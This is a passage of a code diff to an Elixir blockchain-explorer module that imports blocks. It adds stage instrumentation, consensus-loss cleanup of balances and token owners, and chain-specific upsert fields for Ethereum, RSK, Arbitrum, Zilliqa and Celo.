sharelocks.md) + run_func = fn repo -> + {:ok, nonconsensus_items} = process_blocks_consensus(changes_list, repo, insert_options) - consensus_block_numbers = consensus_block_numbers(changes_list) + {:ok, + RangesHelper.filter_by_height_range(nonconsensus_items, fn {number, _hash} -> + RangesHelper.traceable_block_number?(number) + end)} + end - # Enforce ShareLocks tables order (see docs: sharelocks.md) multi |> Multi.run(:lose_consensus, fn repo, _ -> - {:ok, nonconsensus_items} = lose_consensus(repo, hashes, consensus_block_numbers, changes_list, insert_options) - - nonconsensus_hashes = - if minimal_block_height > 0 do - nonconsensus_items - |> Enum.filter(fn {number, _hash} -> number >= minimal_block_height end) - |> Enum.map(fn {_number, hash} -> hash end) - else - hashes - end - - {:ok, nonconsensus_hashes} + Instrumenter.block_import_stage_runner( + fn -> run_func.(repo) end, + :address_referencing, + :blocks, + :lose_consensus + ) end) |> Multi.run(:blocks, fn repo, _ -> - # Note, needs to be executed after `lose_consensus` for lock acquisition - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> + # Note, needs to be executed after `lose_consensus` for lock acquisition + insert(repo, changes_list, insert_options) + end, + :address_referencing, + :blocks, + :blocks + ) end) - |> Multi.run(:new_pending_operations, fn repo, %{lose_consensus: nonconsensus_hashes} -> - new_pending_operations(repo, nonconsensus_hashes, hashes_for_pending_block_operations, insert_options) + |> Multi.run(:new_pending_block_operations, fn repo, %{blocks: blocks} -> + Instrumenter.block_import_stage_runner( + fn -> + new_pending_block_operations(repo, blocks, insert_options) + end, + :address_referencing, + :blocks, + :new_pending_block_operations + ) end) |> Multi.run(:uncle_fetched_block_second_degree_relations, fn repo, _ -> - update_block_second_degree_relations(repo, hashes, %{ - timeout: - options[Runner.Block.SecondDegreeRelations.option_key()][:timeout] || - Runner.Block.SecondDegreeRelations.timeout(), - timestamps: timestamps - }) + Instrumenter.block_import_stage_runner( + fn -> + update_block_second_degree_relations(repo, hashes, %{ + timeout: + options[Runner.Block.SecondDegreeRelations.option_key()][:timeout] || + Runner.Block.SecondDegreeRelations.timeout(), + timestamps: timestamps + }) + end, + :address_referencing, + :blocks, + :uncle_fetched_block_second_degree_relations + ) end) |> Multi.run(:delete_rewards, fn repo, _ -> - delete_rewards(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> delete_rewards(repo, changes_list, insert_options) end, + :address_referencing, + :blocks, + :delete_rewards + ) end) |> Multi.run(:fork_transactions, fn repo, _ -> - fork_transactions(%{ - repo: repo, - timeout: options[Runner.Transactions.option_key()][:timeout] || Runner.Transactions.timeout(), - timestamps: timestamps, - blocks_changes: changes_list - }) + Instrumenter.block_import_stage_runner( + fn -> + fork_transactions(%{ + repo: repo, + timeout: options[Runner.Transactions.option_key()][:timeout] || Runner.Transactions.timeout(), + timestamps: timestamps, + blocks_changes: changes_list + }) + end, + :address_referencing, + :blocks, + :fork_transactions + ) end) |> Multi.run(:derive_transaction_forks, fn repo, %{fork_transactions: transactions} -> - derive_transaction_forks(%{ - repo: repo, - timeout: options[Runner.Transaction.Forks.option_key()][:timeout] || Runner.Transaction.Forks.timeout(), - timestamps: timestamps, - transactions: transactions - }) + Instrumenter.block_import_stage_runner( + fn -> + derive_transaction_forks(%{ + repo: repo, + timeout: options[Runner.Transaction.Forks.option_key()][:timeout] || Runner.Transaction.Forks.timeout(), + timestamps: timestamps, + transactions: transactions + }) + end, + :address_referencing, + :blocks, + :derive_transaction_forks + ) + end) + |> Multi.run(:delete_address_coin_balances, fn repo, %{lose_consensus: non_consensus_blocks} -> + Instrumenter.block_import_stage_runner( + fn -> delete_address_coin_balances(repo, non_consensus_blocks, insert_options) end, + :address_referencing, + :blocks, + :delete_address_coin_balances + ) end) - |> Multi.run(:acquire_contract_address_tokens, fn repo, _ -> - acquire_contract_address_tokens(repo, consensus_block_numbers) + |> Multi.run(:derive_address_fetched_coin_balances, fn repo, + %{delete_address_coin_balances: delete_address_coin_balances} -> + Instrumenter.block_import_stage_runner( + fn -> derive_address_fetched_coin_balances(repo, delete_address_coin_balances, insert_options) end, + :address_referencing, + :blocks, + :derive_address_fetched_coin_balances + ) end) - |> Multi.run(:delete_address_token_balances, fn repo, _ -> - delete_address_token_balances(repo, consensus_block_numbers, insert_options) + |> Multi.run(:delete_address_token_balances, fn repo, %{lose_consensus: non_consensus_blocks} -> + Instrumenter.block_import_stage_runner( + fn -> delete_address_token_balances(repo, non_consensus_blocks, insert_options) end, + :address_referencing, + :blocks, + :delete_address_token_balances + ) end) - |> Multi.run(:delete_address_current_token_balances, fn repo, _ -> - delete_address_current_token_balances(repo, consensus_block_numbers, insert_options) + |> Multi.run(:delete_address_current_token_balances, fn repo, %{lose_consensus: non_consensus_blocks} -> + Instrumenter.block_import_stage_runner( + fn -> delete_address_current_token_balances(repo, non_consensus_blocks, insert_options) end, + :address_referencing, + :blocks, + :delete_address_current_token_balances + ) end) |> Multi.run(:derive_address_current_token_balances, fn repo, %{ delete_address_current_token_balances: deleted_address_current_token_balances } -> - derive_address_current_token_balances(repo, deleted_address_current_token_balances, insert_options) + Instrumenter.block_import_stage_runner( + fn -> derive_address_current_token_balances(repo, deleted_address_current_token_balances, insert_options) end, + :address_referencing, + :blocks, + :derive_address_current_token_balances + ) + end) + |> Multi.run(:update_token_instances_owner, fn repo, %{derive_transaction_forks: transactions} -> + Instrumenter.block_import_stage_runner( + fn -> update_token_instances_owner(repo, transactions, insert_options) end, + :address_referencing, + :blocks, + :update_token_instances_owner + ) end) |> Multi.run(:blocks_update_token_holder_counts, fn repo, %{ delete_address_current_token_balances: deleted, derive_address_current_token_balances: inserted } -> - deltas = CurrentTokenBalances.token_holder_count_deltas(%{deleted: deleted, inserted: inserted}) - Tokens.update_holder_counts_with_deltas(repo, deltas, insert_options) + Instrumenter.block_import_stage_runner( + fn -> + deltas = CurrentTokenBalances.token_holder_count_deltas(%{deleted: deleted, inserted: inserted}) + Tokens.update_holder_counts_with_deltas(repo, deltas, insert_options) + end, + :address_referencing, + :blocks, + :blocks_update_token_holder_counts + ) end) + |> chain_type_dependent_import( + :celo, + &Multi.run( + &1, + :celo_delete_epoch_rewards, + fn repo, %{lose_consensus: non_consensus_blocks} -> + Instrumenter.block_import_stage_runner( + fn -> celo_delete_epoch_rewards(repo, non_consensus_blocks, insert_options) end, + :address_referencing, + :blocks, + :celo_delete_epoch_rewards + ) + end + ) + ) end @impl Runner def timeout, do: @timeout - defp acquire_contract_address_tokens(repo, consensus_block_numbers) do - query = - from(ctb in Address.CurrentTokenBalance, - where: ctb.block_number in ^consensus_block_numbers, - select: {ctb.token_contract_address_hash, ctb.token_id}, - distinct: [ctb.token_contract_address_hash, ctb.token_id] - ) - - contract_address_hashes_and_token_ids = repo.all(query) - - Tokens.acquire_contract_address_tokens(repo, contract_address_hashes_and_token_ids) - end - defp fork_transactions(%{ repo: repo, timeout: timeout, @@ -164,7 +263,7 @@ defmodule Explorer.Chain.Import.Runner.Blocks do select: transaction, # Enforce Transaction ShareLocks order (see docs: sharelocks.md) order_by: [asc: :hash], - lock: "FOR UPDATE" + lock: "FOR NO KEY UPDATE" ) update_query = @@ -181,6 +280,9 @@ defmodule Explorer.Chain.Import.Runner.Blocks do index: nil, status: nil, error: nil, + max_priority_fee_per_gas: nil, + max_fee_per_gas: nil, + type: nil, updated_at: ^updated_at ] ], @@ -189,6 +291,10 @@ defmodule Explorer.Chain.Import.Runner.Blocks do {_num, transactions} = repo.update_all(update_query, [], timeout: timeout) + transactions + |> Enum.map(& &1.hash) + |> PendingOperationsHelper.delete_related_transaction_operations() + {:ok, transactions} rescue postgrex_error in Postgrex.Error -> @@ -259,61 +365,174 @@ defmodule Explorer.Chain.Import.Runner.Blocks do ) end - # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity defp default_on_conflict do - from( - block in Block, - update: [ - set: [ - consensus: fragment("EXCLUDED.consensus"), - difficulty: fragment("EXCLUDED.difficulty"), - gas_limit: fragment("EXCLUDED.gas_limit"), - gas_used: fragment("EXCLUDED.gas_used"), - miner_hash: fragment("EXCLUDED.miner_hash"), - nonce: fragment("EXCLUDED.nonce"), - number: fragment("EXCLUDED.number"), - parent_hash: fragment("EXCLUDED.parent_hash"), - size: fragment("EXCLUDED.size"), - timestamp: fragment("EXCLUDED.timestamp"), - total_difficulty: fragment("EXCLUDED.total_difficulty"), - # Don't update `hash` as it is used for the conflict target - inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", block.inserted_at), - updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", block.updated_at) - ] + chain_type = Application.get_env(:explorer, :chain_type) + + base_fields = [ + consensus: dynamic(fragment("EXCLUDED.consensus")), + difficulty: dynamic(fragment("EXCLUDED.difficulty")), + gas_limit: dynamic(fragment("EXCLUDED.gas_limit")), + gas_used: dynamic(fragment("EXCLUDED.gas_used")), + miner_hash: dynamic(fragment("EXCLUDED.miner_hash")), + nonce: dynamic(fragment("EXCLUDED.nonce")), + number: dynamic(fragment("EXCLUDED.number")), + parent_hash: dynamic(fragment("EXCLUDED.parent_hash")), + size: dynamic(fragment("EXCLUDED.size")), + timestamp: dynamic(fragment("EXCLUDED.timestamp")), + total_difficulty: dynamic(fragment("EXCLUDED.total_difficulty")), + refetch_needed: dynamic(fragment("EXCLUDED.refetch_needed")), + base_fee_per_gas: dynamic(fragment("EXCLUDED.base_fee_per_gas")), + is_empty: dynamic(fragment("EXCLUDED.is_empty")), + # Don't update `hash` as it is used for the conflict target + inserted_at: dynamic([block], fragment("LEAST(?, EXCLUDED.inserted_at)", block.inserted_at)), + updated_at: dynamic([block], fragment("GREATEST(?, EXCLUDED.updated_at)", block.updated_at)) + ] + + base_condition = + dynamic( + [block], + fragment( + "(EXCLUDED.consensus, EXCLUDED.difficulty, EXCLUDED.gas_limit, EXCLUDED.gas_used, EXCLUDED.miner_hash, EXCLUDED.nonce, EXCLUDED.number, EXCLUDED.parent_hash, EXCLUDED.size, EXCLUDED.timestamp, EXCLUDED.total_difficulty, EXCLUDED.refetch_needed, EXCLUDED.base_fee_per_gas, EXCLUDED.is_empty) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + block.consensus, + block.difficulty, + block.gas_limit, + block.gas_used, + block.miner_hash, + block.nonce, + block.number, + block.parent_hash, + block.size, + block.timestamp, + block.total_difficulty, + block.refetch_needed, + block.base_fee_per_gas, + block.is_empty + ) + ) + + case on_conflict_chain_type_extension(chain_type) do + {chain_type_fields, chain_type_condition} -> + base_with_chain_type_fields = Keyword.merge(base_fields, chain_type_fields) + base_with_chain_type_condition = dynamic(^base_condition or ^chain_type_condition) + + from( + block in Block, + update: ^[set: base_with_chain_type_fields], + where: ^base_with_chain_type_condition + ) + + _ -> + from( + block in Block, + update: ^[set: base_fields], + where: ^base_condition + ) + end + end + + defp on_conflict_chain_type_extension(:ethereum) do + { + [ + blob_gas_used: dynamic(fragment("EXCLUDED.blob_gas_used")), + excess_blob_gas: dynamic(fragment("EXCLUDED.excess_blob_gas")) ], - where: - fragment("EXCLUDED.consensus <> ?", block.consensus) or fragment("EXCLUDED.difficulty <> ?", block.difficulty) or - fragment("EXCLUDED.gas_limit <> ?", block.gas_limit) or fragment("EXCLUDED.gas_used <> ?", block.gas_used) or - fragment("EXCLUDED.miner_hash <> ?", block.miner_hash) or fragment("EXCLUDED.nonce <> ?", block.nonce) or - fragment("EXCLUDED.number <> ?", block.number) or fragment("EXCLUDED.parent_hash <> ?", block.parent_hash) or - fragment("EXCLUDED.size <> ?", block.size) or fragment("EXCLUDED.timestamp <> ?", block.timestamp) or - fragment("EXCLUDED.total_difficulty <> ?", block.total_difficulty) - ) + dynamic( + [block], + fragment( + "(EXCLUDED.blob_gas_used, EXCLUDED.excess_blob_gas) IS DISTINCT FROM (?, ?)", + block.blob_gas_used, + block.excess_blob_gas + ) + ) + } end + defp on_conflict_chain_type_extension(:rsk) do + { + [ + bitcoin_merged_mining_header: dynamic(fragment("EXCLUDED.bitcoin_merged_mining_header")), + bitcoin_merged_mining_coinbase_transaction: + dynamic(fragment("EXCLUDED.bitcoin_merged_mining_coinbase_transaction")), + bitcoin_merged_mining_merkle_proof: dynamic(fragment("EXCLUDED.bitcoin_merged_mining_merkle_proof")), + hash_for_merged_mining: dynamic(fragment("EXCLUDED.hash_for_merged_mining")), + minimum_gas_price: dynamic(fragment("EXCLUDED.minimum_gas_price")) + ], + dynamic( + [block], + fragment( + "(EXCLUDED.bitcoin_merged_mining_header, EXCLUDED.bitcoin_merged_mining_coinbase_transaction, EXCLUDED.bitcoin_merged_mining_merkle_proof, EXCLUDED.hash_for_merged_mining, EXCLUDED.minimum_gas_price) IS DISTINCT FROM (?, ?, ?, ?, ?)", + block.bitcoin_merged_mining_header, + block.bitcoin_merged_mining_coinbase_transaction, + block.bitcoin_merged_mining_merkle_proof, + block.hash_for_merged_mining, + block.minimum_gas_price + ) + ) + } + end + + defp on_conflict_chain_type_extension(:arbitrum) do + { + [ + send_count: dynamic(fragment("EXCLUDED.send_count")), + send_root: dynamic(fragment("EXCLUDED.send_root")), + l1_block_number: dynamic(fragment("EXCLUDED.l1_block_number")) + ], + dynamic( + [block], + fragment( + "(EXCLUDED.send_count, EXCLUDED.send_root, EXCLUDED.l1_block_number) IS DISTINCT FROM (?, ?, ?)", + block.send_count, + block.send_root, + block.l1_block_number + ) + ) + } + end + + defp on_conflict_chain_type_extension(:zilliqa) do + { + [ + zilliqa_view: dynamic(fragment("EXCLUDED.zilliqa_view")) + ], + dynamic( + [block], + fragment( + "EXCLUDED.zilliqa_view IS DISTINCT FROM ?", + block.zilliqa_view + ) + ) + } + end + + defp on_conflict_chain_type_extension(_), do: nil + defp consensus_block_numbers(blocks_changes) when is_list(blocks_changes) do blocks_changes |> Enum.filter(& &1.consensus) |> Enum.map(& &1.number) end - def lose_consensus(repo, hashes, consensus_block_numbers, changes_list, %{ - timeout: timeout, - timestamps: %{updated_at: updated_at} - }) do + defp lose_consensus(repo, changes_list, %{ + timeout: timeout, + timestamps: %{updated_at: updated_at} + }) do + hashes = Enum.map(changes_list, & &1.hash) + consensus_block_numbers = consensus_block_numbers(changes_list) + acquire_query = from( - block in where_invalid_neighbour(changes_list), + block in where_invalid_neighbor(changes_list), or_where: block.number in ^consensus_block_numbers, # we also need to acquire blocks that will be upserted here, for ordering or_where: block.hash in ^hashes, - select: block.hash, + select: %{hash: block.hash, number: block.number}, # Enforce Block ShareLocks order (see docs: sharelocks.md) order_by: [asc: block.hash], - lock: "FOR UPDATE" + lock: "FOR NO KEY UPDATE" ) - {_, removed_consensus_block_hashes} = + {_, removed_consensus_blocks} = repo.update_all( from( block in Block, @@ -327,60 +546,180 @@ defmodule Explorer.Chain.Import.Runner.Blocks do timeout: timeout ) - {:ok, removed_consensus_block_hashes} + removed_consensus_block_numbers = + removed_consensus_blocks + |> Enum.map(fn {number, _hash} -> number end) + + if not Enum.empty?(removed_consensus_block_numbers) do + GenServer.cast(Indexer.Fetcher.Beacon.Deposit, {:lost_consensus, removed_consensus_block_numbers |> Enum.min()}) + end + + repo.update_all( + from( + transaction in Transaction, + join: s in subquery(acquire_query), + on: transaction.block_hash == s.hash, + # we don't want to remove consensus from blocks that will be upserted + where: transaction.block_hash not in ^hashes + ), + [set: [block_consensus: false, updated_at: updated_at]], + timeout: timeout + ) + + repo.update_all( + from( + token_transfer in TokenTransfer, + join: s in subquery(acquire_query), + on: token_transfer.block_number == s.number, + # we don't want to remove consensus from blocks that will be upserted + where: token_transfer.block_hash not in ^hashes + ), + [set: [block_consensus: false, updated_at: updated_at]], + timeout: timeout + ) + + removed_consensus_block_numbers + |> Enum.reject(&Enum.member?(consensus_block_numbers, &1)) + |> MissingRangesManipulator.add_ranges_by_block_numbers() + + {:ok, removed_consensus_blocks} rescue postgrex_error in Postgrex.Error -> - {:error, %{exception: postgrex_error, consensus_block_numbers: consensus_block_numbers}} + {:error, %{exception: postgrex_error}} end - def invalidate_consensus_blocks(block_numbers) do - opts = %{ - timeout: 60_000, - timestamps: %{updated_at: DateTime.utc_now()} - } + @doc """ + Processes consensus for blocks that failed to import completely. + + This function handles the consistency updates needed when a block import fails, + ensuring that the chain's consensus state remains valid. + + ## Parameters + - `blocks_changes`: List of block changes to process + + ## Returns + - `{:ok, removed_consensus_blocks}`: List of tuples {number, hash} for blocks that lost consensus + - `{:error, reason}`: The error encountered during processing + """ + @spec process_blocks_consensus([map()], module(), map() | nil) :: + {:ok, [{non_neg_integer(), binary()}]} | {:error, map()} + def process_blocks_consensus(blocks_changes, repo \\ ExplorerRepo, insert_options \\ nil) do + opts = + insert_options || + %{ + timeout: @timeout, + timestamps: %{updated_at: DateTime.utc_now()} + } - lose_consensus(ExplorerRepo, [], block_numbers, [], opts) + lose_consensus(repo, blocks_changes, opts) end - defp trace_minimal_block_height do - EthereumJSONRPC.first_block_to_fetch(:trace_first_block) + defp new_pending_block_operations(repo, inserted_blocks, %{timeout: timeout, timestamps: timestamps}) do + case PendingOperationsHelper.pending_operations_type() do + "blocks" -> + sorted_pending_ops = + inserted_blocks + |> RangesHelper.filter_by_height_range(&RangesHelper.traceable_block_number?(&1.number)) + |> Enum.filter(& &1.consensus) + |> Enum.map(&%{block_hash: &1.hash, block_number: &1.number}) + |> Enum.sort() + + Import.insert_changes_list( + repo, + sorted_pending_ops, + conflict_target: :block_hash, + on_conflict: :nothing, + for: PendingBlockOperation, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + _other_type -> + {:ok, []} + end end - defp new_pending_operations(repo, nonconsensus_hashes, hashes, %{ - timeout: timeout, - timestamps: timestamps - }) do - if Application.get_env(:explorer, :json_rpc_named_arguments)[:variant] == EthereumJSONRPC.RSK do - {:ok, []} - else - sorted_pending_ops = - nonconsensus_hashes - |> MapSet.new() - |> MapSet.union(MapSet.new(hashes)) - |> Enum.sort() - |> Enum.map(fn hash -> - %{block_hash: hash, fetch_internal_transactions: true} - end) - - Import.insert_changes_list( - repo, - sorted_pending_ops, - conflict_target: :block_hash, - on_conflict: PendingBlockOperation.default_on_conflict(), - for: PendingBlockOperation, - returning: true, - timeout: timeout, - timestamps: timestamps + defp delete_address_coin_balances(_repo, [], _options), do: {:ok, []} + + defp delete_address_coin_balances(repo, non_consensus_blocks, %{timeout: timeout}) do + non_consensus_block_numbers = Enum.map(non_consensus_blocks, fn {number, _hash} -> number end) + + ordered_query = + from(cb in Address.CoinBalance, + where: cb.block_number in ^non_consensus_block_numbers, + select: map(cb, [:address_hash, :block_number]), + # Enforce TokenBalance ShareLocks order (see docs: sharelocks.md) + order_by: [cb.address_hash, cb.block_number], + lock: "FOR UPDATE" ) + + query = + from(cb in Address.CoinBalance, + select: {cb.address_hash, cb.block_number}, + inner_join: ordered_address_coin_balance in subquery(ordered_query), + on: + ordered_address_coin_balance.address_hash == cb.address_hash and + ordered_address_coin_balance.block_number == cb.block_number + ) + + try do + {_count, deleted_coin_balances} = repo.delete_all(query, timeout: timeout) + + {:ok, deleted_coin_balances} + rescue + postgrex_error in Postgrex.Error -> + {:error, %{exception: postgrex_error, block_numbers: non_consensus_block_numbers}} end end + defp derive_address_fetched_coin_balances(_repo, [], _options), do: {:ok, []} + + defp derive_address_fetched_coin_balances(repo, deleted_coin_balances, options) do + {deleted_balances_address_hashes, deleted_balances_block_numbers} = Enum.unzip(deleted_coin_balances) + + filtered_address_hashes_query = + from(a in Address, + where: + a.hash in ^deleted_balances_address_hashes and + a.fetched_coin_balance_block_number in ^deleted_balances_block_numbers, + select: a.hash + ) + + filtered_address_hashes = repo.all(filtered_address_hashes_query) + + last_balances_query = + from(cb in Address.CoinBalance, + where: cb.address_hash in ^filtered_address_hashes, + where: not is_nil(cb.value), + distinct: cb.address_hash, + order_by: [asc: cb.address_hash, desc: cb.block_number], + select: %{ + hash: cb.address_hash, + fetched_coin_balance: cb.value, + fetched_coin_balance_block_number: cb.block_number + } + ) + + addresses_params = + last_balances_query + |> repo.all() + |> Enum.sort_by(& &1.hash) + + addresses_options = + Map.put(options, :on_conflict, {:replace, [:fetched_coin_balance, :fetched_coin_balance_block_number]}) + + Addresses.insert(repo, addresses_params, addresses_options) + end + defp delete_address_token_balances(_, [], _), do: {:ok, []} - defp delete_address_token_balances(repo, consensus_block_numbers, %{timeout: timeout}) do + defp delete_address_token_balances(repo, non_consensus_blocks, %{timeout: timeout}) do + non_consensus_block_numbers = Enum.map(non_consensus_blocks, fn {number, _hash} -> number end) + ordered_query = from(tb in Address.TokenBalance, - where: tb.block_number in ^consensus_block_numbers, + where: tb.block_number in ^non_consensus_block_numbers, select: map(tb, [:address_hash, :token_contract_address_hash, :token_id, :block_number]), # Enforce TokenBalance ShareLocks order (see docs: sharelocks.md) order_by: [ @@ -412,16 +751,18 @@ defmodule Explorer.Chain.Import.Runner.Blocks do {:ok, deleted_address_token_balances} rescue postgrex_error in Postgrex.Error -> - {:error, %{exception: postgrex_error, block_numbers: consensus_block_numbers}} + {:error, %{exception: postgrex_error, block_numbers: non_consensus_block_numbers}} end end defp delete_address_current_token_balances(_, [], _), do: {:ok, []} - defp delete_address_current_token_balances(repo, consensus_block_numbers, %{timeout: timeout}) do + defp delete_address_current_token_balances(repo, non_consensus_blocks, %{timeout: timeout}) do + non_consensus_block_numbers = Enum.map(non_consensus_blocks, fn {number, _hash} -> number end) + ordered_query = from(ctb in Address.CurrentTokenBalance, - where: ctb.block_number in ^consensus_block_numbers, + where: ctb.block_number in ^non_consensus_block_numbers, select: map(ctb, [:address_hash, :token_contract_address_hash, :token_id]), # Enforce CurrentTokenBalance ShareLocks order (see docs: sharelocks.md) order_by: [ @@ -459,7 +800,7 @@ defmodule Explorer.Chain.Import.Runner.Blocks do {:ok, deleted_address_current_token_balances} rescue postgrex_error in Postgrex.Error -> - {:error, %{exception: postgrex_error, block_numbers: consensus_block_numbers}} + {:error, %{exception: postgrex_error, block_numbers: non_consensus_block_numbers}} end end @@ -487,8 +828,10 @@ defmodule Explorer.Chain.Import.Runner.Blocks do address_hash: new_current_token_balance.address_hash, token_contract_address_hash: new_current_token_balance.token_contract_address_hash, token_id: new_current_token_balance.token_id, + token_type: tb.token_type, block_number: new_current_token_balance.block_number, value: tb.value, + value_fetched_at: tb.value_fetched_at, inserted_at: over(min(tb.inserted_at), :w), updated_at: over(max(tb.updated_at), :w) }, @@ -518,6 +861,184 @@ defmodule Explorer.Chain.Import.Runner.Blocks do {:ok, derived_address_current_token_balances} end + defp update_token_instances_owner(_, [], _), do: {:ok, []} + + defp update_token_instances_owner(repo, forked_transaction_hashes, options) do + forked_transaction_hashes + |> forked_token_transfers_query() + |> repo.all() + |> process_forked_token_transfers(repo, options) + end + + defp process_forked_token_transfers([], _, _), do: {:ok, []} + + defp process_forked_token_transfers(token_transfers, repo, options) do + changes_initial = + Enum.reduce(token_transfers, %{}, fn tt, acc -> + Map.put_new(acc, {tt.token_contract_address_hash, tt.token_id}, %{ + token_contract_address_hash: tt.token_contract_address_hash, + token_id: tt.token_id, + owner_address_hash: tt.from, + owner_updated_at_block: -1, + owner_updated_at_log_index: -1 + }) + end) + + non_consensus_block_numbers = token_transfers |> Enum.map(fn tt -> tt.block_number end) |> Enum.uniq() + + filtered_query = TokenTransfer.only_consensus_transfers_query() + + base_query = + from(token_transfer in subquery(filtered_query), + select: %{ + token_contract_address_hash: token_transfer.token_contract_address_hash, + token_id: fragment("(?)[1]", token_transfer.token_ids), + block_number: max(token_transfer.block_number) + }, + group_by: [token_transfer.token_contract_address_hash, fragment("(?)[1]", token_transfer.token_ids)] + ) + + historical_token_transfers_query = + Enum.reduce(token_transfers, base_query, fn tt, acc -> + from(token_transfer in acc, + or_where: + token_transfer.token_contract_address_hash == ^tt.token_contract_address_hash and + fragment("? @> ARRAY[?::decimal]", token_transfer.token_ids, ^tt.token_id) and + token_transfer.block_number < ^tt.block_number and + token_transfer.block_number not in ^non_consensus_block_numbers + ) + end) + + refs_to_token_transfers = refs_to_token_transfers_query(historical_token_transfers_query, filtered_query) + + derived_token_transfers_query = derived_token_transfers_query(refs_to_token_transfers, filtered_query) + + changes = + derived_token_transfers_query + |> repo.all() + |> Enum.reduce(changes_initial, fn tt, acc -> + token_id = List.first(tt.token_ids) + current_key = {tt.token_contract_address_hash, token_id} + + params = %{ + token_contract_address_hash: tt.token_contract_address_hash, + token_id: token_id, + owner_address_hash: tt.to_address_hash, + owner_updated_at_block: tt.block_number, + owner_updated_at_log_index: tt.log_index + } + + Map.put( + acc, + current_key, + Enum.max_by([acc[current_key], params], fn %{ + owner_updated_at_block: block_number, + owner_updated_at_log_index: log_index + } -> + {block_number, log_index} + end) + ) + end) + |> Map.values() + + TokenInstances.insert( + repo, + changes, + options + |> Map.put(:timestamps, Import.timestamps()) + |> Map.put(:on_conflict, token_instances_on_conflict()) + ) + end + + defp forked_token_transfers_query(forked_transaction_hashes) do + if DenormalizationHelper.tt_denormalization_finished?() do + from(token_transfer in TokenTransfer, + where: token_transfer.transaction_hash in ^forked_transaction_hashes, + where: token_transfer.token_type == "ERC-721", + inner_join: instance in Instance, + on: + fragment("? @> ARRAY[?::decimal]", token_transfer.token_ids, instance.token_id) and + instance.token_contract_address_hash == token_transfer.token_contract_address_hash, + # per one token instance we will have only one token transfer + where: + token_transfer.block_number == instance.owner_updated_at_block and + token_transfer.log_index == instance.owner_updated_at_log_index, + select: %{ + from: token_transfer.from_address_hash, + to: token_transfer.to_address_hash, + token_id: instance.token_id, + token_contract_address_hash: token_transfer.token_contract_address_hash, + block_number: token_transfer.block_number, + log_index: token_transfer.log_index + } + ) + else + from(token_transfer in TokenTransfer, + where: token_transfer.transaction_hash in ^forked_transaction_hashes, + inner_join: token in Token, + on: token.contract_address_hash == token_transfer.token_contract_address_hash, + where: token.type == "ERC-721", + inner_join: instance in Instance, + on: + fragment("? @> ARRAY[?::decimal]", token_transfer.token_ids, instance.token_id) and + instance.token_contract_address_hash == token_transfer.token_contract_address_hash, + # per one token instance we will have only one token transfer + where: + token_transfer.block_number == instance.owner_updated_at_block and + token_transfer.log_index == instance.owner_updated_at_log_index, + select: %{ + from: token_transfer.from_address_hash, + to: token_transfer.to_address_hash, + token_id: instance.token_id, + token_contract_address_hash: token_transfer.token_contract_address_hash, + block_number: token_transfer.block_number, + log_index: token_transfer.log_index + } + ) + end + end + + defp refs_to_token_transfers_query(historical_token_transfers_query, filtered_query) do + from(historical_tt in subquery(historical_token_transfers_query), + inner_join: tt in subquery(filtered_query), + on: + tt.token_contract_address_hash == historical_tt.token_contract_address_hash and + tt.block_number == historical_tt.block_number and + fragment("? @> ARRAY[?::decimal]", tt.token_ids, historical_tt.token_id), + select: %{ + token_contract_address_hash: tt.token_contract_address_hash, + token_id: historical_tt.token_id, + log_index: max(tt.log_index), + block_number: tt.block_number + }, + group_by: [tt.token_contract_address_hash, historical_tt.token_id, tt.block_number] + ) + end + + defp derived_token_transfers_query(refs_to_token_transfers, filtered_query) do + from(tt in filtered_query, + inner_join: tt_1 in subquery(refs_to_token_transfers), + on: tt_1.log_index == tt.log_index and tt_1.block_number == tt.block_number + ) + end + + defp token_instances_on_conflict do + from( + token_instance in Instance, + update: [ + set: [ + metadata: token_instance.metadata, + error: token_instance.error, + owner_updated_at_block: fragment("EXCLUDED.owner_updated_at_block"), + owner_updated_at_log_index: fragment("EXCLUDED.owner_updated_at_log_index"), + owner_address_hash: fragment("EXCLUDED.owner_address_hash"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token_instance.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_instance.updated_at) + ] + ] + ) + end + defp derive_address_current_token_balances_grouped_query(deleted_address_current_token_balances) do initial_query = from(tb in Address.TokenBalance, @@ -607,7 +1128,7 @@ defmodule Explorer.Chain.Import.Runner.Blocks do where: bsdr.uncle_hash in ^uncle_hashes, # Enforce SeconDegreeRelation ShareLocks order (see docs: sharelocks.md) order_by: [asc: :nephew_hash, asc: :uncle_hash], - lock: "FOR UPDATE" + lock: "FOR NO KEY UPDATE" ) update_query = @@ -641,25 +1162,77 @@ defmodule Explorer.Chain.Import.Runner.Blocks do end) end - defp where_invalid_neighbour(blocks_changes) when is_list(blocks_changes) do + defp where_invalid_neighbor(blocks_changes) when is_list(blocks_changes) do initial = from(b in Block, where: false) - Enum.reduce(blocks_changes, initial, fn %{ - consensus: consensus, - hash: hash, - parent_hash: parent_hash, - number: number - }, - acc -> - if consensus do - from( - block in acc, - or_where: block.number == ^(number - 1) and block.hash != ^parent_hash, - or_where: block.number == ^(number + 1) and block.parent_hash != ^hash - ) - else - acc - end - end) + invalid_neighbors_query = + Enum.reduce(blocks_changes, initial, fn %{ + consensus: consensus, + hash: hash, + parent_hash: parent_hash, + number: number + }, + acc -> + previous_block_number = BlockNumberHelper.previous_block_number(number) + next_block_number = BlockNumberHelper.next_block_number(number) + + if consensus do + from( + block in acc, + or_where: block.number == ^previous_block_number and block.hash != ^parent_hash, + or_where: block.number == ^next_block_number and block.parent_hash != ^hash + ) + else + acc + end + end) + + where(invalid_neighbors_query, [block], block.consensus) + end + + defp celo_delete_epoch_rewards(_repo, [], _options), do: {:ok, []} + + defp celo_delete_epoch_rewards(repo, non_consensus_blocks, %{timeout: timeout}) do + non_consensus_block_hashes = Enum.map(non_consensus_blocks, fn {_number, hash} -> hash end) + + ordered_query = + from(epoch in CeloEpoch, + where: + epoch.start_processing_block_hash in ^non_consensus_block_hashes or + epoch.end_processing_block_hash in ^non_consensus_block_hashes, + # Enforce Epoch ShareLocks order (see docs: sharelocks.md) + order_by: epoch.number, + lock: "FOR UPDATE" + ) + + repo.all(ordered_query, timeout: timeout) + + epoch_rewards_query = + from(reward in 